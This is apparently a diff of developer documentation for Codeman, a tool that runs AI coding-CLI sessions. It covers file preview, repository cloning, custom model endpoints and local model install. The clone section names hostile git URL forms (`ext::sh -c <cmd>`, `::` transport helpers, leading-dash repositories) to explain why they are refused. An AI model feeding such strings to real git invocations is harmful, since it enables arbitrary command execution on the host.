⚠️ **This is a second file-serving surface, so it carries the same confinement burden as [Attachments](#attachments) and does not inherit it automatically.** Traversal is allowlisted to Home, `CASES_DIR`, `/mnt/d`, or extra roots explicitly configured via `CODEMAN_FILE_PICKER_ROOTS`; sensitive trees are blocked and symlink escapes are rejected after `realpath` resolution rather than before. Without the realpath step a symlink inside an allowed root would walk straight out of it. `preview` reuses the shared conversion cache and the **global** `document-conversion-limiter`, which is what stops N concurrent large-document previews from forking N multi-minute converter processes. Content types are pinned: images and PDF inline, DOCX/PPTX through the converters, and Markdown/TXT/JSON as inert `text/plain` (never `text/html`, which would be stored XSS on our own origin). Size caps are 2MB for text and 50MB for binary/document previews.
@@ -474,7 +494,7 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
### Clone a repository as a case
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` (the **Clone into a custom folder** checkbox) is the folder the repository is cloned INTO, exactly as given (the case name adds no subfolder), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is.
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` is the folder the repository is cloned INTO, exactly as given (the API adds no case-name subfolder; the **Clone into a custom folder** field on the page is a parent, so the tab sends `<folder>/<case name>`, see UI below), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is. The name is checked again inside `mutateLinkedCases()` when the entry is written, so of two clones that claim one name only the first to finish links it; the other answers 409 `ALREADY_EXISTS` and keeps its folder.
- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ In multi-user mode a NON-ADMIN's clone and preflight run with `git -c credential.helper=` (`cloneWithoutCredentialHelpers`), because the helpers belong to the one server account every user shares; admins and single-user mode keep them. The Docker server image relies on exactly this: when built with the opt-in `CODEMAN_INSTALL_GH`/`CODEMAN_INSTALL_AZ` args it configures `gh` (github.com) and an `az`-backed helper (`docker/git-credential-azure-cli`, Azure DevOps) in its SYSTEM gitconfig, both silent until the user signs the CLI in, so a private clone there still fails fast rather than prompting.
@@ -485,9 +505,9 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
- **UI** (`case-clone` tab in the Add Case modal): the **Clone into a custom folder** field is a PARENT folder, like Create New's: the tab sends `<folder>/<case name>` as `path` (`_cloneTargetPath()`), so the API's `path` stays the exact target; debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint), `test/clone-custom-folder-ui.test.ts` (the tab's parent folder, the request and the preview, against the real markup).
Further detail: the synchronous clone request is bounded by `GIT_CLONE_TIMEOUT_MS`.
@@ -620,6 +640,10 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
`CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` drops `--memory-swap` (and filters only that one kernel warning) for hosts without swap accounting; `--memory` still applies.
⚠️ **`docker/.env` is generated FROM `.env.example`, at 0600, never from a list of keys.** `Start-Codeman.sh`'s first run (only when nothing exists at that path: a dangling symlink or a directory is refused) rewrites the five `KEY=` lines it asks about and copies every other line, because `diffRequiredEnvKeys` refuses an in-app update while the user's file lacks a key the target release's example sets, so a hand-picked subset would block the very next update. Compose's dotenv is not bash: a backslash escapes a single-quoted value's closing quote (measured on 2.33.0 and 5.5.0), so `accept_password` and `accept_appdata_path` refuse a trailing backslash as well as a single quote. Compose also prefers the shell environment over the file, so setup unsets what it wrote, or a preset would beat a typed answer. `test/docker-start-setup.test.ts` pins all of it, against a stub that reproduces both rules.
⚠️ **`changeme` is refused by BOTH scripts**, before anything is built or stopped: the container publishes on every interface and holds the Docker socket, so that password is host root. `Update-Codeman.sh` needs its own check, ahead of its `down`, because a refusal found only at the handoff to `Start-Codeman.sh` would leave the stack stopped.
⚠️ The deployment ALSO self-updates in place (the repo bind mount at `/opt/codeman` + a restart-by-exiting supervisor) — see Self-update and `docs/docker-self-update.md` before touching `server.Dockerfile`, the compose file or `.env.example`, since each is an input to the updater's environment gate. User guides: `docs/docker-compose.md` + `docker/README.md`.
### DeepSeek web UI
@@ -638,7 +662,7 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/copilot, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp/deepseek, writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config/dsh home; deepseek's redirect is a per-session `DSH_HOME` holding only the generated `cordis.patch.yml`, whose `linkFromRealHome` recipe field symlinks `profiles`/`sessions`/`settings.yaml` back out of the real dsh home (resolved session-`DSH_HOME`-first, lstat-guarded so a dangling link survives re-apply) instead of stranding them, and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source, the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME`, its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id, and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model; never the values, which carry the API key and are re-derived from the endpoint store on recovery), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. It also puts back what the session had set itself under an injected key (`CustomModelBookkeeping.ownEnv`, read after the undo so a switch carries it across): an own `DSH_HOME` or `CLAUDE_CONFIG_DIR` used to be deleted with the injected value, which moved the session to the server's tree or the default Claude account. ⚠️ `ownEnv` can hold a credential in memory, so `getCustomModelForPersist()` writes only its `homeEnvVar` entry, and only as an absolute path (the registry types that name as any env var, so a `clis.json` override can point it at a credential), which it must write because the selection overwrote the tmux `setenv` that was the only other copy. `_restoreCustomModel()` always states `ownEnv` (empty for an older record) after `clampEnvOverridesForOwner()`: after a restart `_envOverrides` holds what the previous run INJECTED, and reading that as the session's own would pin it to a directory the clear deletes. The re-apply's real-home lookup has the same rule: the route reads `Session.ownEnvValue()` and recovery that clamped record (probed under the bulk cap, since it walks every saved session), never `envOverrideValue()`, so an entry the own home lacks is skipped rather than filled from the server's home. Quick-start hands the `Session` constructor the caller's overrides alone so `setCustomModel()` can see them. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. ⚠️ The pin looks in `<isolated>/projects`, so `linkSharedProjectsDir()` links it from the session's own `CLAUDE_CONFIG_DIR` when it has one (`guardSessionConfigDirHome()` covers `configDirVar` too): the server's tree would hide the conversation on apply and leave the endpoint's transcript behind on clear. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the create and respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id and never onto the stored `<Mode>Config` (that config is what a clear falls back to; the quick-start route used to write the launch model there, so a clear relaunched the endpoint's id on the native backend), and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model, `homeEnvVar` and the session's own home path; never an injected value, which carries the API key and is re-derived from the endpoint store on recovery, and never any other own value), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Security**: every env var this feature can redirect (`ANTHROPIC_BASE_URL`, `GOOGLE_GEMINI_BASE_URL`, `CODEX_HOME`, `GROK_HOME`, `HOME` for pi/omp, `OPENCODE_CONFIG_CONTENT`, etc.) is in that CLI's `privilegedEnvKeys` — several of these were reachable via the generic `envOverrides` field's prefix allowlist BEFORE this feature existed (the env allowlist is global and prefix-based, not per-CLI-scoped), so building this surfaced and closed a pre-existing gap rather than opening a new one. `ANTHROPIC_*` is deliberately NOT in claude's `allowedPrefixes` at all — Anthropic-traffic redirection can only happen through this feature's own admin-configured, SSRF-guarded route, never a plain client-supplied `envOverrides`.
@@ -670,6 +694,38 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
⚠️ **The loading banner shows the REAL backend log line, not a guess, and has no countdown or auto-timeout at all.** `getLatestLlamaSwapLogLine()` holds one `GET /api/events` SSE connection open per endpoint (confirmed live to stay open indefinitely — read past 220KB over 8s with no `done`; idle-closed after 30s via `pruneIdleLlamaSwapLogTails`, same 20s sweep as the swap-displacement check above), parsing `logData` frames and keeping only `source: "upstream"` (the real `llama-server` process's own stdout) lines, never `source: "proxy"` (llama-swap's own request-access log). ⚠️ `GET /logs` — the endpoint this feature's own first cut targeted, since the name suggested it — was confirmed live to carry ONLY the proxy log and never a single backend line, even seconds after a real, verified model swap; caught and corrected by a live check before merge, not after. The banner itself dropped its size-scaled expected-time estimate and matching auto-timeout (a guess dressed up as a fact that could kill a genuinely slow load partway through on slower hardware) for a generic hardware/model-size disclaimer plus a user-driven **Cancel** button (`_showCenterStatus`'s `onCancel` option, a real button distinct from the plain "×" close glyph an `'error'`-type banner gets) that ends the wait and closes the session on the user's own call rather than a guessed deadline.
### Local model install
**A model that runs on this Mac** (`src/local-model/`, `src/config/local-model-catalog.ts`, routes `src/web/routes/local-model-routes.ts`; EXPERIMENTAL; guide `docs/local-models.md`): the server looks at the Mac it runs on, says which local coding model fits it, and installs one: a pinned runtime it supervises, the model, the checks, the coding agent, and one saved model endpoint. The read side (`hardware.ts`, the catalogue, the pure `recommend()`) is described in the root `CLAUDE.md`; this section is the install.
**The layout** is one pure function (`localModelPaths()`, `paths.ts`): `<data dir>/local-model/` holds `runtime/ollama-<version>/` (plus its `.tgz.partial` and `.unpack` while it is fetched), `models/` and `home/`; `<data dir>/local-model.json` is the state file. ⚠️ Every path comes from `dataPath()` through that function and NONE is ever read back from the state file (which holds no path), so a state file cannot point a delete anywhere. ⚠️ Nothing is written or deleted outside `local-model/` except the state file and the two writes of the connect step. The runtime's `HOME` is the private `home/` (measured to work), so its key pair lands there and the user's own `~/.ollama` is never created, read or removed; `home/` and a `.ollama/id_ed25519` anywhere are on the sensitive-path list.
**The pin** (`OLLAMA_RUNTIME_PIN`, `runtime.ts`) is a COMPILED constant: version, URL, size, sha256. ⚠️ No file, setting, env var or request may supply any part of it: a hash that comes from the same writable place as the URL pins nothing. The archive is streamed to `*.partial` while it is hashed, continued with a Range request (3 bounded retries), refused when it grows past the pinned size, and the hash is compared BEFORE `/usr/bin/tar` unpacks anything into a temporary folder that is then renamed.
**Supervision** (`createRuntimeSupervisor()`): the runtime is a NON-detached child, started at boot once a model is installed and enabled, restarted at most 3 times in a row, SIGTERMed at shutdown beside `stopDeepSeekWeb()`. ⚠️ Its environment comes from the pure `runtimeEnv()` ALLOWLIST (PATH, the private HOME, TMPDIR, LANG, the proxy variables, and exactly `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, `OLLAMA_MAX_LOADED_MODELS=1`, plus the llama.cpp memory settings `OLLAMA_KV_CACHE_TYPE=q8_0`, `OLLAMA_FLASH_ATTENTION=1`, `LLAMA_ARG_CACHE_RAM=1024`, `LLAMA_ARG_CTX_CHECKPOINTS=8`, which the catalogue's `llamacpp` rows are computed for, so the two change together): never `process.env` whole (it carries `CODEMAN_PASSWORD`, and a user's own `OLLAMA_ORIGINS=*` would open the port to every web page). ⚠️ The port is chosen ONCE by binding (11435 across 20; 11434 belongs to a runtime the user may run) and stored; it is never searched again on a later start, because it is part of the saved endpoint's URL. ⚠️ Pid and port are in the state file: a listener on the port that answers `/api/version` and whose pid runs a binary under OUR runtime folder is our own orphan (a server that was killed leaves one: a child is not ended by its parent's death) and is adopted or replaced; ANY other listener is `port-in-use`, never something to talk to. ⚠️ The supervisor never writes the state file: it reports through `onChange`, and the job stores what it reports. ⚠️ Under vitest nothing spawns and nothing is fetched unless a test injects it.
**The budget is measured.** The runtime prints the device total in its log line "inference compute" (`total="37.4 GiB"`); `parseInferenceComputeTotal()` reads it, the job stores it and judges the chosen model against it (`modelFitsBudget()`) BEFORE the model is downloaded; from then on the GET recommends with `budgetSource: 'measured'`. One consent covers the whole install: the sizes that were confirmed do not change, so a model that no longer fits is a failure with the next model, not a second question.
**The job** (`install-job.ts`) is a pure reducer (`reduceInstallJob()`) over three tables in that file (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, `INSTALL_TRANSITIONS`), driven by one service per process (`getLocalModelService()`). States: `idle`, `installing`, `paused`, `failed`, `installed`; steps in order: `runtime`, `model`, `verify`, `agent`, `connect` (`agent` is left out when the coding agent is installed). ⚠️ An event the transition table does not list is REFUSED by returning the same object, which the service answers with 409 `wrong-state`; add a transition to the table, never a special case to the service. ⚠️ ONE job at a time: verbs run on one queue, so two installs sent together cannot both find the state free. ⚠️ A job the state file still calls `installing` when the process has none was interrupted by a restart: it becomes `paused` the first time anything looks (`boot()`, a GET or a verb), and NOTHING continues without a click. `shutdown()` therefore writes nothing: it aborts the step and leaves `installing` in the file. ⚠️ An interrupted step is never recorded as failed, whatever its last call answered (an aborted fetch looks like a network error): the job checks its own signal before it writes `failed`. ⚠️ Every step is idempotent, because Resume and "Try again" re-enter the step the job stopped in. ⚠️ Cancel in the `connect` step is honoured only before the first write: once the two writes began they finish, so the pair is never left half done. ⚠️ The state file (`state-store.ts`) has ONE writer, serialized, temp file + rename, mode 0600, and reading is TOTAL (a file that does not parse, another schema, or a state that lacks a member it needs reads as idle): it holds nothing of the user, so it is replaced rather than refused, unlike `settings.json`. ⚠️ Progress is kept in memory and written at most every few seconds and when the job pauses or fails; the window reads the live figure. A 23 GB pull emits about 1.4 million lines, so neither the stream nor one state write per line is affordable.
**Install is checked before anything is downloaded** (`LocalModelService.install()`): the model, the context and the coding agent must be a row the CURRENT recommendation offers (a model id is looked up, never passed on: without a slash it cannot name another registry host, and the request schema repeats that); the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`: the model plus the runtime archive while the runtime is not unpacked), else 409 `size-changed` with that total, so a consent is bound to the size that was shown; and a saved endpoint that already has the reserved id and is not ours is said now, not after a 23 GB download.
**The check after the pull** (`verifyModel()`): one tiny chat with `reasoning_effort: "none"`, then `/api/ps` must show `size_vram == size` at the chosen context, then one tool probe (`tools`, `reasoning_effort: "none"`, `max_tokens` 1024) that passes on a tool call with parseable arguments. ⚠️ Thinking is switched off and the cap is generous on purpose: every catalogue model thinks first, and a probe that ends on its token limit proves nothing (`probe-unfinished`, never `no-tool-call`). ⚠️ A failure is a state with a code and ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed". ⚠️ The job fails when the runtime reports no digest for the model: there would be nothing to compare later.
**The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP.
**The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest.
**The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment.
**Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove.
**Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`.
**The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it.
Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
### Approvals Inbox
**Approvals Inbox** (cross-session queue of prompts waiting on a human; `approvalsInboxEnabled`, SYNCED, default OFF: every surface is opt-in; only the store and answer endpoints run regardless, so flipping it ON shows anything already pending): `web/approval-inbox.ts` is a `sessionWaits`-style singleton fed by `/api/hook-event`, holding at most ONE item per session (a new prompt supersedes), in-memory; answerable items are claude-mode only, and the DeepSeek status bridge and codex's screen-read dialogs (`web/screen-blocked.ts`) open ALERT-ONLY items (`answerInTerminal`: the answer route refuses them BEFORE its hooks gate, push carries no `approvalId`, the card and overview strip say "answer in the terminal"). Cards are answered via `POST /api/approvals/:id/answer`, which sends a digit / Esc / idle-prompt text through `writeViaMux` (menu answers never carry `\r`).
@@ -734,9 +790,47 @@ Frontend `readmymind-ui.js`: header 🧠 marker-hidden (`btn-readmymind--hidden`
⚠️ **A query turns that endpoint into a FLAT match list rather than a nested tree**, and the walk deliberately recurses past non-matching directories, since the whole point of searching is to reach a file whose ancestors do not match. An empty or whitespace-only query compiles to `null`, which is what keeps the default tree response byte-identical when no search is requested.
⚠️ **Both walks are a per-directory round-robin (breadth-first) over ONE 5,000-node budget.** They used to recurse depth-first through name-sorted folders, so an early folder could spend the whole budget: 4 of 57 top-level folders were shown in one real workspace. Each round divides what is left equally among the directories queued so far, and a folder's own files count as one more share beside the subfolders it has just found (`walkTurnEnd()`). Those subfolders are read in a later round, so a folder that spent all of its share on its own files left them nothing, alone in its round or beside a sibling, and search hits inside them were lost. A turn that found no subfolder holds nothing back. That is fair per directory, not per subtree: a folder of thousands of one-file subfolders still crowds out its neighbours one level down (`a/b/c/d/needle.ts` beside such a `z/` is found depth-first and missed here), and that trade is accepted, since a file browser wants the shallow levels first. Search results therefore arrive shallow-first.
